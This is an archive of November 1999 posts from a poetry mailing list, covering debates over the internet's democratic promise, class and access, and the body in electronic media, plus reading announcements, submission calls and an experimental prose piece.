> *I'm not a luddite. But every new technology brings a raft of new perils along with that paradigm shift. The shift away from the body--the immateriality of the new electronic media --seems like one of these to me.*
>
> *Tom Beckett*

why not keep all the tools you've gained and just add this system to them as a useful, don't need to be any more serious than that!!!pete

_____
Get Your Private, Free Email at http://www.hotmail.com

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119. **Tom Beckett**
Re: (Technology) RE: miekal and dobyns and etc.
Thu 4 Nov 1999

Dean, et. al,

I think uncritical acceptance of any new technology--whether it be nuclear power, the latest class of organophosphate pesticides or the new electronic

media--is nuts. Cyberspace is showing all the signs of becoming thoroughly corporatized and makes me very nervous. That you've heard this all before doesn't mean that it shouldn't be repeated often.

Tom Beckett

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120. Tony Green
Re: miekal and dobyns and etc.
Thu 4 Nov 1999

It's Hampstead that makes poets unbearable. They meet head on in cars at The Spaniards tooting their horns & shouting obscenities, because of the narrowing of the road. They really & truly crucify one another at Easter. Some have been found drowned in the White Stone Pond. Very young ones hallucinate. One of these even reported a hallucinated meeting with Sigmund Freud.

Anyone on this list knows that poets really get on together unusually well. Canetti's remark must surely be a very local reference.

Tony Green

From: Tom Beckett <[redacted]>
To: [redacted] <[redacted]>
Date: Friday, 5 November 1999 11:13
Subject: Re: miekal and dobyns and etc.

>"Poets are unbearable to one another. You have to see them with other people
>to know what they're like."
>
>Elias Canetti (from __Notes from Hampstead__)
>

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121. miekal and
oops Re: tendering opposition
Thu 4 Nov 1999

---

m and wrote: This one make me scratch my head, maybe there is something Im missing, but I fail to understand why reading a text on the printed page limits reflection.

should read:

This one make me scratch my head, maybe there is something Im missing, but I fail to understand why reading a text on the computer screen limits reflection.

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122. Dean Taciuch
Re: (Technology) RE: miekal and dobyns and etc.
Thu 4 Nov 1999

> *Dean, et. al,*
>
> *I think uncritical acceptance of any new technology--whether it be nuclear power, the latest class of organophosphate pesticides or the new electronic media--is nuts. Cyberspace is showing all the signs of becoming thoroughly corporatized and makes me very nervous. That you've heard this all before doesn't mean that it shouldn't be repeated often.*
>
> *Tom Beckett*

Tom--I agree, actually. _Uncritical_ acceptance is dangerous. But that's not my position; I'm looking for ways in which this medium can be used differently (not necessarily the technology, but the tech _did_ make the medium more available).

Jim Rosenberg, who's already weighed in on this, is (for example) one to whom I'd point if asked for examples of artists using elctronic media in innovative ways--doing things which _are not possible_ in print.

This doesn't mean books are dead, nor that real world face-to-face communication is dead. It is emphatically _not_ an "either/or," but a "yes, and" situation. Most of the people on this list I have never had the chance to meet, and yet I can exchange ideas, opinions, etc. That doesn't mean I wouldn't speak to them in person.

--Dean

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123. Michael Heller
Advertisments for self
Thu 4 Nov 1999

I'll be in the UK for the next two weeks, doing some readings. If you are in the vicinity, hope you'll drop by.

Schedule:

16 November in London: with David Bromige, in the Subvoicive Series, 8PM, Upstairs at the Three Cups, Sandland Street, London WC1.

19 November, Newcastle University, the Hatten Gallery 1 PM (Schwitters' MerzBarn next to the Gallery)

21 November, Cambridge, Churchill College, The Cockroft Room 2 PM

MH

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124. Elizabeth Treadwell
movie STARS
Thu 4 Nov 1999

Hi all,

Wanted to put a note here that we are especially interested in publishing some FILMIC work in this issue, aka movie reviews, filmic treatises, homages to Mae West, etc. Please b/c with queries.

Please remember our submission postmark period for this issue is Jan 1- Feb 15, '00. We promise to have replies for all parties by tax day, April 15.

And a thousand A+ stars to all who've ordered Outlet (4/5) Weathermap, which is still available and frankly, lovely and intelligent!!

Elizabeth

Don't forget Outlet's Stars issue -- details at
http://users.lanminds.com/dblelucy/page5.html

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125. Elizabeth Treadwell
ps re movie STARS
Thu 4 Nov 1999

---

ps also of course, poems.

Outlet
c/o Double Lucy Books
http://users.lanminds.com/dblelucy

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126. Andrew John Miller
Re: Poets in towers
Thu 4 Nov 1999

Here's the relevant bibliographical information:

Theodore Ziolkowski, _The View from the Tower: Origins of an Antimodernist Image_ (Princeton: Princeton UP, 1998).

I found the book somewhat disappointing. Ziolkowski touches on an a array of interesting connections, but he doesn't provide much in the way of theorization or analysis. And, although the book contains some fascinating photographs and reproductions, they're all quite small, and they're all in low-quality black and white. In short, this book would have been best if it had been published as a coffee-table book filled with glossy pages and enormous colour photographs.

Best,
Andrew John Miller
[redacted]

On Thu, 04 Nov 1999 13:19:40 -0500, you wrote:

> *I'm trying to locate a book of lit crit about poets who lived/worked in towers. I saw it in a catalogue recently, but I can't remember where. The author was a woman, I think. Poets were Jeffers, Yeats, Rilke, and…(there was a fourth). Anyone know the book?*
> *Thanks,*
> *Mark Melnicove*

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127. Loss Pequeño Glazier
Deluxe Rubber Chicken #4
Thu 4 Nov 1999

A note that Deluxe Rubber Chicken #4 is now available. Here are brief details:

> *Announcing the fourth issue of Deluxe Rubber Chicken*
>
> *Featuring two major works:*
>
> *WISCONSIN by Sam Stark*
>
> *and*
>
> *WINDOWS by Ted Warnell*

Now available at http://epc.buffalo.edu/ezines/deluxe/ or by clicking "New" at the EPC Home page http://epc.buffalo.edu

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128. Alan Sondheim
AGENDA
Fri 5 Nov 1999

-

AGENDA

The Ambassador announces the Report of the Committee on Relations with the Host Country and the appointment of a member by THE PRESIDENT. THE PRESI- DENT acknowledges. The Ambassador announces the Report of an International Atomic Energy Agency. THE PRESIDENT nods his head.

Doctor Leopold Konninger is supposed to be chairing the meeting on Human Rights Questions, Including Alternative Approaches for Improving the Effective Enjoyment of Human Rights and Fundamental Freedoms. Where is Doctor Leopold Konninger asks THE PRESIDENT and the Ambassador turns his head.

Doctor Leopold Konninger has drawn up the Vienna Accords in relation to their Comprehensive Implementation. The Ambassador eagerly awaits the Special Rapporteur on the Question of Torture and Human Rights in Afghan- istan. THE PRESIDENT goes to a closed meeting on the Rights of Peoples to Self-Determination and the approval of a draft pursuant to that effect.

Doctor Leopold Konninger, says the Ambassador, is worrisome these days. The Ambassador is in charge of Special Human Rights Violations in the United States of America. He is also the Special Rapporteur on the Sit- uation of Human Rights in the Sudan.

Doctor Leopold Konninger is considerably weakened; he has not eaten for several days, and promises not to eat for several days more. He is still naked and quite cold; he has eyes only for Nikuko, the beautiful Russian ballet dancer and her cabrioles. Nikuko is stunning in a lavender tutu and matching tights and slippers.

Doctor Leopold Konninger has killed many people. He watches Nikuko close- ly, his pince-nez back in place, his legs and lips slightly parted. For the past two days, he has not been able to think of death, nor his work promoting Desertification in Those Countries Experiencing Serious Drought and/or Desertification, particularly Those Countries South of the Standard Equatorial Zone. He believes he owns Nikuko, grown her like a plant or animal or human. He believes he has fed her body and thereby owns those transformations of her body pursuant to proper nourishment, Nikuko eating during her pirouettes, drinking during her entrechats.

Doctor Leopold Konninger cannot imagine speaking a single word. He cannot imagine anything. The Ambassador says to THE PRESIDENT, who has returned from his closed meeting, to the subject of Doctor Leopold Konninger, there no longer corresponds an object.

THE PRESIDENT nods. He and the Ambassador leave for the Meeting for the Suppression of the Traffic in Persons and of the Exploitation of the Prostitution of Others. They pass by a door, imagining Doctor Leopold Konninger and

Nikuko within. THE PRESIDENT says to the Ambassador, just as Doctor Leopold Konninger is a subject without a corresponding object, so does this meeting have an object without a corresponding subject.

Hit? n You have 19 Dealer has KC+AD+2D+TC = bust You win $2 Action $6 You're even New game 5C up 4D+5S Hit?

They are both thinking of Nikuko. They cannot imagine what is Nikuko's and what is not Nikuko's. Nikuko cannot imagine either. She is at the top of her form.

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129. Leonard Brink
20% off at SPD
Fri 5 Nov 1999

Michael Palmer's _The Danish Notebook_ (Avec Books) is one of the new and featured non-fiction titles at SPD. Just mention the code WEB while ordering and you'll receive 20% off the list price of $9.95.

The featured titles discount changes every month, so this offer is only good for _The Danish Notebook_ until November 30th.

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130. Mariah Corrigan
Simone Weil: the madness for truth
Fri 5 Nov 1999

"Attention is the rarest and purest form of generosity. It is given to very few minds to notice that things and beings exist. Since my childhood I have not wanted anything else but to receive the complete revelation of this before dying."—Simone Weil

Hello you all. To follow is something possibly of interest.....

SIMONE WEIL: The Madness for Truth
Columbia University’s French and Francophone Studies and Semiotext(e)
November 12th-14th
Maison Française: Buell Hall, Columbia University
Broadway at 116 Street. [redacted]

What can you say about one of the most brilliant philosophers of the 20th century who went around joining every revolution she could find, arguing with Trotsky and Bataille, mystifying Camus, espousing the merits of the ancient Greeks while wearing a burlap sack and ultimately starving herself to death?

Alot, apparently. Papers by Julia Kristeva, readings by writers Fanny Howe, Francine du Plessix-Gray, Chris Kraus, Eileen Myles and a presentation by Florence de Lussy—Head Curator at Paris' Bibliothèque Nationale; scripwriter/filmmaker Michael Tolkin; Bard College President Leon Botstein; Jewish specialists Michael Stanislawski, Jeffrey Mehlman and Sylvere Lotringer; Italian labor specialist Domenico Canciani; trade union organizer Catherine Cook; and French physicist Catherine Chevalley plus others. All accompanied by exhibit of SW's last notebooks.

Saturday November 13th, 7:00pm Galapagos: 70 North 6th Street, Williamsburg, [redacted]. Galapagos hosts an evening of Weil-inspired video/performances including a new video by Louise Bourgeois and introduced by Robert Storr, MoMA; performances by Penny Arcade on 'Simone's Sex,' Deb Margolin on 'Jewish Looks,' Sheree Rose on 'Acts of God,' plus the Mystery Meat Ensemble. MC'd by Jeffrey Jullich.

Questions? Please call the above number, or
www.columbia.edu/cu/french/maison

"She proudly carried around her taste, or rather her madness for truth.
And if this is a privilege, it is of the kind that one
pays dearly for all through one's life..." —Albert Camus

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131. Jim Andrews
Miekal and Dobyns, etc.
Fri 5 Nov 1999

> *Just want to state my agreement with Tom Beckett on this. Internet and e-mail are emphatically _not_ democratic media.*

What medium is democratic? What is a democratic medium? Radio and newspapers I suppose are the closest to being available to all. But those are also media that are not particularly open to input.

> *They are exclusionist. The poor are, as Tom notes, once again the excluded.*

It's true that it does cost money to be on the Internet and to have a computer. And there are many countries, unlike just about all of Canada, where an Internet connection is not possible. And the United States does control the Internet. That needn't be the case, though, and if the Internet grows into a truly robust international communications channel, cannot remain so.

> *Tom's point about electronic media militating against reflective habits of reading is also key. In fact, those subcultural groups that have so*

> *enthusiastically embraced the e-zone seem to have suspended their reflective attitudes in general.*

I don't understand your point about el. media militating against reflective habits at all, really. There is unmindfulness in most quarters, el. or not. I don't think it's a peculiarly el. phenomenon. And I have found that if you look hard on the Internet, you find many quarters that are simply brilliant and deeply reflective.

> *Electronic commerce is the future of capitalism, and those websites devoted to such marginal activities as the publication of 'innovative' poetries will be just as marginal in the virtual world as existing small press publishers are in the real one.*

Economically you mean? Perhaps. Although that remains to be seen. Artists have a key advantage in this medium in that they can make Web sites and communicate in this medium in a way that is not possible to most. And, as opposed to TV, film, radio, and newspapers, they usually have access to it both as readers and writers. It will be the artists, not the typical publishers and broadcasters, etc., who establish dynamite publishing houses in various media on an international basis.

> *Don't kid yourselves. The revolution will not be netcast. Oh, and books are not about to die.*

What revolution are you talking about? Liberty and justice and a PC and Internet connection on the desktop for all? No, I suppose it won't. But it does seem that there are some possibilities here for very widespread influence and action that should not be so lightly discounted by a reflective person like yourself. The trajectory is not so obviously a recapitulation of the status quo.

You are debunking the myths of the popular press, and I suppose they need debunking, but after debunking the inane, isn't a more considered criticism in order? And isn't that what you find here on this electronic list, for instance?

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132. daniel bouchard
Re: Mass Ave
Fri 5 Nov 1999

Mass Ave is expired.

The editor's address has changed. You may still send correspondence, poems, essays, photographs of interest (or no interest), new books, old books, maps, catalogues, postcards, miscellaneous ephemera, or just a how-de-doo to: PO Box 390408, Cambridge, MA 02139.

There is no chance of publication
but all contents will get attention.

At 07:24 PM 11/3/99 -0500, you wrote:
>I just tried to send work to Mass Ave using the address from the most
>recent issue I've seen and it came back "address expired." Has the
>address changed? Does someone have the new one? Perhaps the editor
>himself, if he's on here?
>
>Backchannel, please.
>
>Thanks so much.
>
>Arielle
>
>
>
>**********
>"I thought numerous gorgeous sadists would write me plaintive appeals, but
>time has gone by me. They know where to get better looking boots than I
>describe." -- Ray Johnson
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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133. **Jordan Davis**
Re: Poets in towers
Fri 5 Nov 1999

---

the book on the (quasi?-)modernists who lived in towers was reviewed in the TLS sometime in the last year -- R Jeffers' california home was on the cover -- JD

From: Pritchett,Patrick @Silverplume <[redacted]>
To: <[redacted]>
Sent: Thursday, November 04, 1999 6:19 PM
Subject: Re: Poets in towers

> Don't know the fourth in this bridge set, but Pound was fond of calling
> Yeats' tower "Ballyphallus." He also pronounced his occult theory of the
28
> cycles of the moon & human personality" "very very very bughouse." All to
be
> found in Brenda Maddox's new bio of Yeats, _Yeats' Ghosts_.
>
> Patrick Pritchett
>

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134. Katherine Lederer
DH, NYC: Giraud and Lubasch this Saturday
Fri 5 Nov 1999

Segue @ Double Happiness

Saturdays from 4:00 to 6:00 pm.
Double Happiness is located at 173 Mott Street, just south of Broome.
A 4$ contribution goes to the readers.

November 6: Eric Giraud, Lisa Lubasch

Eric Giraud was born in 1966. He lives in Marseille and has published a chapbook (Cliches). marcel, a full-length work, is to be published this year. He translates American and English poetry with Holly Dye.

Lisa Lubasch's first book of poems How Many More of Them Are You? is just out from Avec Books. Her work has appeared or is forthcoming in An Avec Sampler 2, Boulevard, Explosive, The Hat, Fence, Volt, and elsewhere.

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135. Grant Jenkins
The Use of This Listserv
Fri 5 Nov 1999

With all of this discussion about the nature of the internet and its relation to poetry, I'm wondering why we use this listserv mostly for debates and advertisement.

I think most of us would agree that collaboration and community are what make the poetry we are interested in different. Aren't we supposed to be a group of poets and people interested in poetics (poeticists?)? Then why don't we use this listserv for more creative purposes?

Does anyone remember the renga that was spontaneously composed on this listserv around the death of Ginsberg? Why don't we do more of that?

Anyone interested?

grant j
virginia

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136. **Joe Amato**
polarizing the web...
Fri 5 Nov 1999

---

i think some of us on this list probably weary of the "access" question *not* b/c the entire planet is actually online (as kathy lou's stat post indicates, it's not), and *not* b/c there is nothing problematic about the online world (as miekal suggests, there are problems), and *not* b/c we believe we writers/artists need all the help we can get (albeit many of us DO think this---which is the upshot, i think, of introducing the typewriter as artifact into the discussion, as jim rosenberg has done)...

this question of access *will* continue to haunt the online world for sometime to come... but if the digital world is not reducible to binaries, neither is this question of access... ergo many of us would like to see the question of access modified some to account for the changes of the last decade... some of the very first exchanges i had online, c. 1991, concerned the issue of access... and the past eight years have seen, it's fair to say, an entirely unanticipated expansion of these spaces -- granted, primarily in the industrialized nations (said expansion not w/o, to be sure, a disturbingly corporate, if (as tom beckett indicates) incorporeal, presence... which latter topoi have, of course, been the subject of a flood of articles, essays, books, etc.)...

yes, the online world was for so long almost exclusively white male... i don't think one can make the latter claim anymore -- times are changing (albeit similar claims may be made, corresponding to kathy lou's global stats)... but in fact, there is some (customary, in fact) danger even in my saying that the online world "was for so long exclusively white male"... of course i don't wish to deny that the majority body count, as well as prevailing perception of same, has been white male, esp. prior to this decade -- but this does little to explain the early presence, e.g., of native/indigenous peoples on the web...

do any of you know art mcgee?... art has for years now documented (in my view, heroically) the presence of minority-ethnic groups in the online world... a small presence perhaps in terms of overall percentages, but a vital, even catalytic presence in terms of imagining the digital world as a site of possible

social transformation... interesting that so many of these groups, having been disenfranchised for so long in ftf culture, saw the potential of the web and the internet immediamente, hence migrated into these spaces long before (i would say) many of the poets on this list got their feet wet with modems and the like... and they did so, not surprisingly, with limited resources---which is to say, in the face of significant (social and material) resistance...

that history has yet to be written, but when it IS written, it'll be an eye opener, i'm certain of it...

in any case, let me return to my first para: if we writers need all the help we can get (imho), then should be using all the media at our disposal... which is another way of asserting the following re new media: their disposition is not a foregone conclusion... and it's not a matter of being a luddite or a technophile, either... it's a matter of using these media to (it is to be hoped) constructive ends, while remaining critical (as opposed to merely skeptical) of the larger issues that surface in the midst of such technologies... i think it's wise, that is, to use these media to critique these media---but critique is not simple skepticism, it requires something more than the observation that 'not everyone is online'... it entails at least some sense of the subtleties at work around here... if i were to claim that the u.s. public domain revealed a predominantly and oppressively white male view of the world c. 1945, few would argue with me (i think, i hope)... but if i were to claim that the u.s. public domain c. 1945 was *exclusively* white male---i.e., de facto---well i would HOPE someone would argue with me, would draw out the subterranean complexities buried under such an assertion, and point out the vital presence of non-white-male discourse, however illegible from more mainstream perspectives...

i trust i'm making some sense here... in effect i'm asking (as it were) for a more nuanced discussion of what's going down when we all get together online... when you correlate (e.g.) the rise of electronic media with an increasingly mobile workforce, the result is a matter neither of sheer "negatives" nor of sheer "positives" --- similarly (if i may), that i might not ultimately be placed in the earth alongside my folks in syracuse, ny, is a matter, for me, of no simple social-material equation... hence the kind of anti-digital nostalgia i hear regularly in folks like sven birkerts bugs me (to say the least), esp. as (from a non-white male pov, if this isn't too much of a presumption on my part) the world of 80 or 90 years ago leaves SO MUCH to be desired, both spiritually and materially... not that anyone around here is a fan of birkerts, but---

best,

joe

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137. **Eric Gelsinger**

Octavio Paz

Fri 5 Nov 1999

Poetry Lovers Denied Access as Octavio Paz's memory is institutionalized

Sunday, October 24, American poetry and the memory of Octavio Paz were betrayed as the public was denied access to a gala reading in tribute to the late Nobelist. To organize the event, The Mexican Cultural Institute of Washington, DC and New York and the Metropolitan Museum of Art collaborated with some of America's most prestigious cultural institutions: The Academy of American Poets, the Poetry Society of America (PSA) and others. Readers included U.S. Poet Laureate Robert Pinsky, Pulitzer Prize winner Mark Strand, John Kenneth Galbraith, Paz's primary translator, Eliot Weinberger, as well as other luminaries. Sure to be a popular event, it was advertised as a public affair in publications such as the Village Voice. The ads included a phone number and stated tickets (free) were to be distributed between 5-6 p.m. at the Met. Those calling the number to reserve tickets were told tickets could not be reserved and that reservations were unnecessary -- plenty would be available. I arrived at 4:55pm and joined a line of about 200 strong. Through the course of the hour, that number grew to over 500. People had come in from all parts of the city and outside New York. We waited in the blustery cold and received encouragement as late as 5:30 p.m. when a man announced that those already holding tickets should form a separate line; those without tickets should continue waiting. Those who waited in the small ticket-holding line of a couple dozen seemed to be characterized by thousand dollar suits or fashionable scarves. At approximately 6:00pm, the ticket-holding line was admitted. As soon as they were inside, the guards announced there were no more tickets. At no point as we were waiting (in the cold) were we told we may not get tickets; in fact, the opposite was indicated. After 25 minutes of protest, and after being told dozens of times that no more tickets were available, a small number of us (3 dozen or so) were allowed in and given tickets; ostensibly, we had made an ugly enough scene to warrant placation by the never-ugly Metropolitan. But only by pushing myself through guards and running up the escalator did I gain ingress. Once inside, I was struck by dozens of scattered but definitely empty seats. I entered the auditorium just as the director of the museum alluded to the unfortunate incident outside, which, he quipped, was due to the way Paz was fervently revered by so many. The audience chuckled as a wide and unmistakably supercilious smile spread across the director's face. Robert Pinsky, the master of ceremonies, made no allusion to what had happened. However, Mr. Pinsky was [indeed] aware of what had happened. I spoke to him for 5-10 minutes after the program, when he hastily expressed his regret but assured me I had no idea how busy and ill-equipped he

was. With a great big smile, he averred he had no more control over the situation than I did. The day after the event, I contacted Monica Delatorre at the Mexican Cultural Institute at New York. Granted tickets were 400 guests and friends of the readers, sponsors, and staff of the sponsoring organizations such as the PSA, she explained. And although the Mexican Cultural Institute was aware the Grace Rainey Rogers Auditorium could hold only 800, but did not expect such a large crowd. As to why people waiting in line were not warned, she could only answer that the Metropolitan was responsible for actually handing out the tickets. Where her reports conflicted with my experience was in the number of free tickets given. She had heard 400 were given away. In my estimation no more than 50 of us were granted entrance, and we only received tickets after being told no tickets were available.

Within the closed walls of the Museum auditorium Sunday evening, the event was a pleasure. But outside, it was a disgrace. It was an embarrassment to the cultural and poetry institutions, which reinforced that they are indeed institutions, nearly impregnable. For any poetry event, the circumstances surrounding the reading would have been intolerable. For this event in particular, they are unforgivable. Octavio Paz, who emphasized openness in so much of his work (and this emphasis was noted by the majority of the readers on Sunday) would have been saddened and angered to know hundreds of people were turned away from his supposedly public tribute. Compounding the hateful irony, Sunday's event seemed to demonstrate a dangerous political condition which Paz rebelled against: the intellectual elite's alliance with the social and economic elite. Paz's memory belongs to all who read and admired him. The exclusionist organizers of the event monopolized the honoring of his memory and dispensed it as a privilege -- granted to those with the right connections, large bank accounts, and Ph.Ds. In so doing, they desecrated his memory, which many turned away hold sacred. Last November, the PSA, a co-sponsor of the reading, held a weeklong program to discuss poetry's role in America. Hosting the program, as he hosted Sunday's tribute, was Robert Pinsky. The most obvious questions raised, and the ones most lengthily addressed, were why America is so cold towards poetry and what can be done to improve the deteriorating relationship between the public and the poetry. Although no one could offer a definitive solution to America's poetry crisis that weekend, no one suggested teasing our nation's cultural capital with a knockout reading and then denying access. Mr. Pinsky's role, however passive, is especially disturbing. By participating in the closed-door ceremonies, he acted as an inheritor of some hierarchical academic pedigree rather than as a democratic spokesman, embodying and facilitating the confluence of poetry and the public. As a friend pointed out to me, poetry has chronically suffered because it is considered a high art - property of a moribund aristocracy.

Pinsky's job is to defy this qualification by bringing poetry to the people (he has tried to do so with programs like the favorite poem project). But as he acts antithetically to this purpose, academic poetry becomes more dependent on an increasingly uninterested patron elite. If an organization wants to hold an exclusive celebration for Octavio Paz that right is guaranteed. However, such a reading would not honor the spirit of Paz and should in no way claim to represent him in any official capacity. This reading, widely advertised, was clearly intended as just such an official tribute. For that reason, the city of New York - and on a much grander scale, the United States and Mexico, must acknowledge that this reading did not represent Octavio Paz or those who truly honor him. If the historical record reflects the identification of Paz with this reading, it will reflect an identification of Paz with exclusivity, thus perverting his memory by allying him with what he combated, through his work and through his art, all his life.

Get Your Private, Free Email at http://www.hotmail.com

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138. **Brian Lennon**

Technology / the body/ immateriality

Fri 5 Nov 1999

For the most floridly morbid expressions of the idea that telecommunications media "dematerialize" the human body, see the pessimistic simulation theory of Jean Baudrillard, Paul Virilio, some of Fredric Jameson. There's lots of interesting, and not necessarily even *new* thinking, though, that challenges this: e.g., the socialist feminism of Donna Haraway. Haraway's work always reminds me that no matter how tempting it may be to say that I'm "dematerialized" in the act of speaking onto this List, my actual body is still sitting right here in the chair, typing--- it hasn't gone anywhere.

I'd think "poets" would find it easier to remember this than "theorists," if only because being a poet, whether inside or outside the academy (at least in the U.S.), always involves an embattled relationship to practice--- the labor of poiesis, making, which is always manual labor even if it uses a word processor.

As for the corporatization of Internet: only Utopians ever believed it wouldn't happen. Only pessimists believe that it can ever be complete. Internet is at once an instrument of world domination, and and an instrument of resistance to that domination.

Tom Beckett wrote:

> The shift away from the body--the immateriality of the new electronic media --seems like one of these to me.

↑ Index

139. Brian Lennon
L-poets and the body
Fri 5 Nov 1999

Joe,

If L=A=N=G=U=A=G=E-affiliated poets insisted on some shift of emphasis away from bodily or phonic presence, I'd say they did so more under the influence of French (Derridean) deconstruction---which still always requires the "creative" manual labor of writing--- than of American (de Manian) deconstruction, which is primarily negative/destructive of writing. In the context of U.S. poetries alone, the L-affiliated poets were unquestionably negative of "voice" and the body; but measured against the nihilism of someone like Jean Baudrillard they hardly seem *primarily* negative. They still believed in agency, though not the agency of the Romantic lyric subject. It's not a matter of flipping from one dualistic term to the other, but rather of reconceptualizing the dualism--- never entirely successfully, it's true: but then I don't think many of these poets saw themselves as the end of the line. I'd guess they saw themselves mainly as making an intervention, which would take (and has taken) its place in a spectrum of different conversations.

Brian Lennon

From: Safdie Joseph <[redacted]>

>Jacques mentions some exceptions to this general trend (e.g.
>Leslie Scalapino), but is he in fact correct that the LPs as a whole were
>reacting against the New American emphasis on the physical body? If this is
>true (and accepting that dualism has placed its poisonous roots deep into
>most of our souls), doesn't it follow that if we don't essentialize the
body
>we in fact wind up essentializing the mind? Isn't that the real cause of
the
>"peril" that Tom mentions above?

↑ Index

140. Mark Prejsnar
the Luddites weren't Luddites
Fri 5 Nov 1999

" I'm not a luddite. But every new technology brings a raft of new perils"

Actually, the Luddites weren't Luddites either. As E.P. Thompson stresses in The Making of English Working Class, the demonstrations and attacks and occupations, carried out under the banner of fictitious "leaders" like Ned Ludd and Captain Swing were not anti-technology (..it's a complex issue, and you can certainly read certain aspects of what they did as leaning in an anti-tech direction, but....); it appears that they were more about wanting control over work, and in opposition to unemployment, and the degradation of conditions and wages, which were associated of course with the spread of looms and steam power, etc.

On Wed, 3 Nov 1999, Tom Beckett wrote:

> *E-mail on listservs such as this functions like speech but without social context--speech divorced from body language, gesture, eyeblink , etc. Therein lies the nub of the problem for me. One comes to rely on strategic overstatement to make one's point, often generating overreaction in return.*
>
> *along with that paradigm shift. The shift away from the body--the immateriality of the new electronic media --seems like one of these to me.*
>
> *Tom Beckett*

↑ Index

141. Mark Prejsnar
a Larry Eigner poem, for Jacques Debrot
Fri 5 Nov 1999

***a Larry Eigner poem, for Jacques Debrot

(from page 30 of: Waters / Places / A Time (Black Sparrow Press, 1983)

you never know
what is the group
what picks it up

↑ Index

142. Karen Kelley
Need Henry Gould's email address
Fri 5 Nov 1999

Backchannel please.

↑ Index

143. **kathylou**
Re: Business, class, access (fwd)
Fri 5 Nov 1999

From: [redacted]
To: [redacted]
Subject: Re: Business, class, access
Date: Fri, 05 Nov 1999 18:55:29 +0000

Again, this response brings with it a massive load of
assumptions about *me* and where I have and haven't been.
And you are simply kidding yourself if you think that
class has nothing to do with access to time to write,
educational opportunities, access to literary communities,
access to the Internet, access to publications and being
published, time to read, money to buy books, money to
publish books, etc.
Hurray for the steelworker who published a book. What does
this prove? Is this the exception to the rule?
And why is it that when folks speak up about class in
poetry communities they are immediately accussed of being
"victims" "whiners" etc.? Is this how you respond to
racism? Or does racism exist, and classism doesn't? Get
real.
Kathy Lou
> David Baratier:
> There are many publishers outside & on this list who do not
> >use the perpetual victim stance or "have not" status you are
> attributing
> >to the lower classes
>
> KL:
> Question: How does bringing the power of analysis to bear on a
> situation,
> speaking out about it, and producing works in response to it constitute
> being a "victim"?
>
> Answer:
>
> Are you asserting that you are analyzing the situation? Throughout your
> posting you blame a social construct as a way to position yourself. The
> implication of-- "I get very tired of this because money does buy
> access: more time to write, money to publish one's own journals and

> books, which in turn increases both community as well as publishing
> opportunities for one's own work by increasing your 'profile' and
> 'reputation.'" ---is that your working class background does not allow
> you to go beyond the societal expectation inherent in class structure.
>
> "Publication being determined partly by who you know" The implication
> that one cannot "know" anyone without ludicrous jacksons hits me as
> another oppressive class myth. I know a guy who was a steelworker when
> tri-quarterly published his first book. I know a guy who works in a
> cranberry bog for numerous months each year, who is well published & one
> of the latter half of this centuries best poets. And so on--
>
> "There's a lack of access to the Internet, where one can hobnob with
> publishers and magazine editors" Yet another victim statement.
> Interested folks can go to the library for free, as mentioned.
>
> While not all of these quotes are yours, Kathy, as you also say, "the
> quote from Bobbie implicates both Bobbie & myself, in a way laying
> things bare, and saying, yup this is how it works." My question is, in
> what way are you a reliable source for what occurs in the upper
> eschelons of poetry if you have never been there? I also add, as a
> person whose income is negligible, that I have not personally
> experienced the insinuated discrepancies described.
>
> Be well
>
> David Baratier

↑ Index

144. Murat Nemet-Nejat

Re: miekal and dobyns and etc.

Fri 5 Nov 1999

This argument about the democracy or undemocracy of the internet is getting ridiculous since every participant to the argument has, obviously, access to the internet. Here again is a process which excludes, by definition, the very people in whose interest it is ostensibly being conducted.

Or is this ongoing debate a virtual version of caring for others (virtual love, virtual sex, virtual social conscience) essentially for the benefit of the participants.

I do not quite know the difference between a virtual page and a page of a book, but the difference between virtual love, virtual sex, virtual conscience, and the other kind are quite clear to me.

Murat

↑ Index

145. Todd Baron /*/ ReMap Readers

query

Fri 5 Nov 1999

---

dear List:

Truly wanting to use the list to co-respond with others--I posted a question teh last week. "What do you consider to be the first American (of the U.S.) poem"? I did not receive one reply to my posting. THIS is why the list--for me--is becoming eavedropping....! I check in this a.m. to find 37 posting--many with direct responses--seeming privte--to others--complete with Daer John: here's the bla bla bla you requested...". Perhaps teh list has changed and I should be off--but again--I'm hopeful the list could serve as other than dialogues between the few. So--my query?

thanks--
Todd Baron
ReMap

ps: the question is Before Whitman and Dickinson... Before Bradstreet...? In English.

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146. R M Daley

Re: movie STARS

Fri 5 Nov 1999

---

hi all

1)

reminding: BAY AREA ULTRAEVENT
Friday nov 12 1999
ATA, 992 Valencia at 21st
SF, CA

8pm BE THERE OR BE SQUARE
only $3 for movies music readings and beer

On Thu, 4 Nov
1999, Elizabeth Treadwell wrote:

> *Hi all,*
>
> *Wanted to put a note here that we are especially interested in publishing some FILMIC work in this issue, aka movie reviews, filmic treatises, homages to Mae West, etc. Please b/c with queries.*

...wanted to frontchannel with emphasis, ET et all, as to the ability to see us in action!
ATA 992 Valencia SF CA 8pm Nov. 12 Friday 1999
good luck ET!

TheLightsAreOut

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147. Tony Green
Re: heraclitus
Fri 5 Nov 1999

Hi Joseph -- I wasnt suggesting anything about The Value. I was expecting something other than what was there. I liked the surprise of the unheralded insertion into netspace of this text, which looks as if it were chance-generated or systematic cut-up. I thought others might enjoy same.

best Tony

-- may I forward your reply to Alan Loney?

From: Safdie Joseph <[redacted]>
To: [redacted] <[redacted]>
Date: Saturday, 6 November 1999 04:10
Subject: Re: heraclitus

> *Tony, I did as instructed, and, although I'm generally in favor of any scheme that would deflect the grasp of capitalism from our private lives, found the actual texts that were generated as a result less than interesting. Were you suggesting that they had any value in and of themselves?*
>
> *Joe*
>
> ---
>
> *the list may find this of interest: check it out*
>
> *Tony Green*
>
> *looking up heraclitus on the Web, I found this, do*

> *you know it?*
>
> *www.die.net/noise/p/o/p/index.htm*

↑ Index

148. Poetry Project
next week at the Poetry Project
Fri 5 Nov 1999

Monday, November 8th

at 8 pm

a reading by Denver Butson & Jorge Clar

Denver Butson is the author of triptych, a selection of poems from three manuscripts: alarm clock alibies, the drowning ghazals, and remote and mocking sky (Commoner Press, 1999). Jorge Clar's reading/performances include Linda Evangelista in Love, Life on Earth, and Gardens.

Wednesday, November 10th

at 8 pm

a reading by Kenneth Koch & Jordan Davis

